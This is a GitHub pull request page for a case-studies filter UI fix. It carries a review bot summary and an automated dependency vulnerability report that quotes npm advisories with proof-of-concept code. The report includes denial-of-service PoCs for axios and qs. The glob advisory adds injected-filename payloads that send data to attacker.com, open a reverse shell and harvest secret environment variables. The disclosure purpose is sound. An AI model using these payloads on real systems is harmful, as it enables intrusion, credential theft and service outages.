Skip to content

Conversation

@IhorMasechko
Copy link
Contributor

@IhorMasechko IhorMasechko commented Jan 16, 2026

Description:
This PR fixes incorrect Show More / Show Less behavior and a mobile filter search issue in the Case Studies (CS) filters.

What was fixed:

Ensured Show Less remains visible after expanding the filter list and allows collapsing back to 5 items.

Restored correct toggle behavior between Show More and Show Less.

Improved behavior during search:

Hide Show Less when filtered results ≤ 5 items.

Keep Show Less visible when filtered results > 5 items.

Fixed a mobile issue where the filter menu collapsed when interacting with the search field, making other CS filters unusable.

Result:
CS filters now behave correctly on mobile, allowing smooth expansion, collapsing, and searching without unexpected menu closure.

Fixes Case Studies filter behavior on mobile: correct Show More/Show Less toggle and search interactions—Show Less hidden when filtered results ≤5, shown when >5; reset button state when search cleared; ensure collapse/expand shows correct item counts during search; prevent mobile filter menu closing when interacting with search. Also adjust modal/tags layout to remove max-height and allow visible overflow, increase padding.

@coderabbitai
Copy link
Contributor

coderabbitai bot commented Jan 16, 2026

Walkthrough

This PR modifies the case-studies filter modal and related tag UI. filterModal.js now temporarily removes layout constraints on the tagsFilter element when opening (sets max-height to none and overflow to visible) and restores those styles on close. SCSS updates allow unlimited tags-filter height, increase expanded category max-height to 5000px, and raise modal bottom padding. initCaseStudiesFilterHandler.js and searchInputHandler.js were refactored to operate on arrays of tag items and to compute visible counts for show-more behavior.

Possibly related PRs

  • speedandfunction/website PR 163 — Modifies the same filter modal implementation (filterModal.js) and related styling changes in _cases.scss.
  • speedandfunction/website PR 166 — Adjusts tags show-more/collapse logic and tags-filter SCSS, overlapping with initCaseStudiesFilterHandler.js and style changes.
  • speedandfunction/website PR 231 — Alters search-aware show-more toggle logic in searchInputHandler.js, directly related to the search/counting refactor.
🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and concisely describes the main changes: fixing CS filter search and Show More/Show Less behavior on mobile, matching the PR objectives and code modifications.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.



📜 Recent review details

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 7a1ee12 and f138568.

📒 Files selected for processing (2)
  • website/modules/asset/ui/src/initCaseStudiesFilterHandler.js
  • website/modules/asset/ui/src/searchInputHandler.js
🧰 Additional context used
🧠 Learnings (3)
📓 Common learnings
Learnt from: Anton-88
Repo: speedandfunction/website PR: 223
File: website/modules/asset/ui/src/scss/_cases.scss:1289-1296
Timestamp: 2025-08-29T09:36:15.180Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the user Anton-88 prefers to keep position: sticky for the .filter-modal__content despite potential technical concerns, citing the complicated modal structure as the reason.
📚 Learning: 2025-08-29T09:36:15.180Z
Learnt from: Anton-88
Repo: speedandfunction/website PR: 223
File: website/modules/asset/ui/src/scss/_cases.scss:1289-1296
Timestamp: 2025-08-29T09:36:15.180Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the user Anton-88 prefers to keep position: sticky for the .filter-modal__content despite potential technical concerns, citing the complicated modal structure as the reason.

Applied to files:

  • website/modules/asset/ui/src/initCaseStudiesFilterHandler.js
📚 Learning: 2025-08-13T15:03:43.822Z
Learnt from: CR
Repo: speedandfunction/website PR: 0
File: .cursor/rules/code-conventions.mdc:0-0
Timestamp: 2025-08-13T15:03:43.822Z
Learning: Applies to modules/asset/ui/src/index.js : modules/asset/ui/src/index.js: relaxed function lines and function style rules

Applied to files:

  • website/modules/asset/ui/src/searchInputHandler.js
🧬 Code graph analysis (2)
website/modules/asset/ui/src/initCaseStudiesFilterHandler.js (1)
website/modules/asset/ui/src/searchInputHandler.js (1)
  • isSearchActive (171-171)
website/modules/asset/ui/src/searchInputHandler.js (2)
website/modules/asset/ui/src/index.js (1)
  • container (31-31)
website/modules/asset/ui/src/initCaseStudiesFilterHandler.js (2)
  • textElement (213-213)
  • isSearchActive (211-211)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
  • GitHub Check: security-scan
  • GitHub Check: lint
  • GitHub Check: unit-tests
  • GitHub Check: e2e-tests
🔇 Additional comments (5)
website/modules/asset/ui/src/searchInputHandler.js (3)

90-102: LGTM!

Clean helper function that correctly identifies visible items by checking both the inline display style and the absence of the tag-item--hidden class.


104-137: LGTM!

Good extraction of search-active and search-inactive state handling into separate functions. The logic correctly manages button visibility and text content based on visible item counts.


146-152: LGTM!

Clean refactoring with proper null guard and delegation to the specialized helper functions.

website/modules/asset/ui/src/initCaseStudiesFilterHandler.js (2)

125-156: LGTM!

Good refactoring with clearer parameter naming and proper null guards. The added else clause (lines 147-148) ensures items within the default visible count have the hidden class removed during collapse, maintaining consistent state.


159-193: LGTM!

Consistent refactoring with the collapse function. The staggered animation timing is preserved correctly.

✏️ Tip: You can disable this entire section by setting review_details to false in your review settings.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions
Copy link

github-actions bot commented Jan 16, 2026

🔍 Vulnerabilities of apostrophe-cms:test

📦 Image Reference apostrophe-cms:test
digestsha256:a255b1062611bc885c57913571e687c22acfcf60a865609f34b4b7419f613f04
vulnerabilitiescritical: 1 high: 15 medium: 0 low: 0
platformlinux/amd64
size291 MB
packages985
📦 Base Image node:23-alpine
also known as
  • 23-alpine3.22
  • 23.11-alpine
  • 23.11-alpine3.22
  • 23.11.1-alpine
  • 23.11.1-alpine3.22
digestsha256:b9d38d589853406ff0d4364f21969840c3e0397087643aef8eede40edbb6c7cd
vulnerabilitiescritical: 0 high: 2 medium: 5 low: 4
critical: 1 high: 0 medium: 0 low: 0 form-data 4.0.2 (npm)

pkg:npm/form-data@4.0.2

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.172%
EPSS Percentile39th percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 0 high: 2 medium: 0 low: 0 node-forge 1.3.1 (npm)

pkg:npm/node-forge@1.3.1

high 8.7: CVE--2025--66031 Uncontrolled Recursion

Affected range<1.3.2
Fixed version1.3.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.110%
EPSS Percentile30th percentile
Description

Summary

An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.

Details

An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.

Impact

This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.

This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.

high 8.7: CVE--2025--12816 Interpretation Conflict

Affected range<1.3.2
Fixed version1.3.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.057%
EPSS Percentile18th percentile
Description

Summary

CVE-2025-12816 has been reserved by CERT/CC

Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Details

A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.

This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).

Impact

This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.

This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.

The following components in node-forge are impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.js

Any downstream application using these components is impacted.

These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

critical: 0 high: 1 medium: 0 low: 0 axios 1.8.4 (npm)

pkg:npm/axios@1.8.4

high 7.5: CVE--2025--58754 Allocation of Resources Without Limits or Throttling

Affected range>=1.0.0
<1.12.0
Fixed version1.12.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.059%
EPSS Percentile19th percentile
Description

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

critical: 0 high: 1 medium: 0 low: 0 async 1.5.2 (npm)

pkg:npm/async@1.5.2

high 7.8: CVE--2021--43138 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range<2.6.4
Fixed version2.6.4, 3.2.2
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score0.706%
EPSS Percentile72nd percentile
Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

critical: 0 high: 1 medium: 0 low: 0 async 0.9.2 (npm)

pkg:npm/async@0.9.2

high 7.8: CVE--2021--43138 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range<2.6.4
Fixed version2.6.4, 3.2.2
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score0.706%
EPSS Percentile72nd percentile
Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.3 (npm)

pkg:npm/tar-fs@2.1.3

high 8.7: CVE--2025--59343 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.4
Fixed version2.1.4
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.024%
EPSS Percentile6th percentile
Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Reported by: Mapta / BugBunny_ai

critical: 0 high: 1 medium: 0 low: 0 linkifyjs 4.2.0 (npm)

pkg:npm/linkifyjs@4.2.0

high 8.8: CVE--2025--8101 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range<4.3.2
Fixed version4.3.2
CVSS Score8.8
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
EPSS Score0.123%
EPSS Percentile32nd percentile
Description

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.

critical: 0 high: 1 medium: 0 low: 0 qs 6.14.0 (npm)

pkg:npm/qs@6.14.0

high 8.7: CVE--2025--15284 Improper Input Validation

Affected range<6.14.1
Fixed version6.14.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.152%
EPSS Percentile36th percentile
Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:

npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Configuration:

  • arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  • Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  2. Application parses with qs.parse(query, { arrayLimit: 100 })
  3. qs ignores limit, parses all 100,000 elements into array
  4. Server memory exhausted → application crashes or becomes unresponsive
  5. Service unavailable for all users

Real-world impact:

  • Single malicious request can crash server
  • No authentication required
  • Easy to automate and scale
  • Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}

Fixed code:

if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}

This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

critical: 0 high: 1 medium: 0 low: 0 jws 4.0.0 (npm)

pkg:npm/jws@4.0.0

high 7.5: CVE--2025--65945 Improper Verification of Cryptographic Signature

Affected range=4.0.0
Fixed version4.0.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.009%
EPSS Percentile1st percentile
Description

Overview

An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions.

Am I Affected?

You are affected by this vulnerability if you meet all of the following preconditions:

  1. Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0
  2. Application uses the jws.createVerify() function for HMAC algorithms
  3. Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

You are NOT affected by this vulnerability if you meet any of the following preconditions:

  1. Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability)
  2. Application uses only asymmetric algorithms (e.g. RS256)
  3. Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

Fix

Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1

Acknowledgement

Okta would like to thank Félix Charette for discovering this vulnerability.

critical: 0 high: 1 medium: 0 low: 0 tar-fs 3.0.9 (npm)

pkg:npm/tar-fs@3.0.9

high 8.7: CVE--2025--59343 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=3.0.0
<3.1.1
Fixed version3.1.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.024%
EPSS Percentile6th percentile
Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Reported by: Mapta / BugBunny_ai

critical: 0 high: 1 medium: 0 low: 0 glob 10.4.5 (npm)

pkg:npm/glob@10.4.5

high 7.5: CVE--2025--64756 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range>=10.2.0
<10.5.0
Fixed version11.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.044%
EPSS Percentile14th percentile
Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
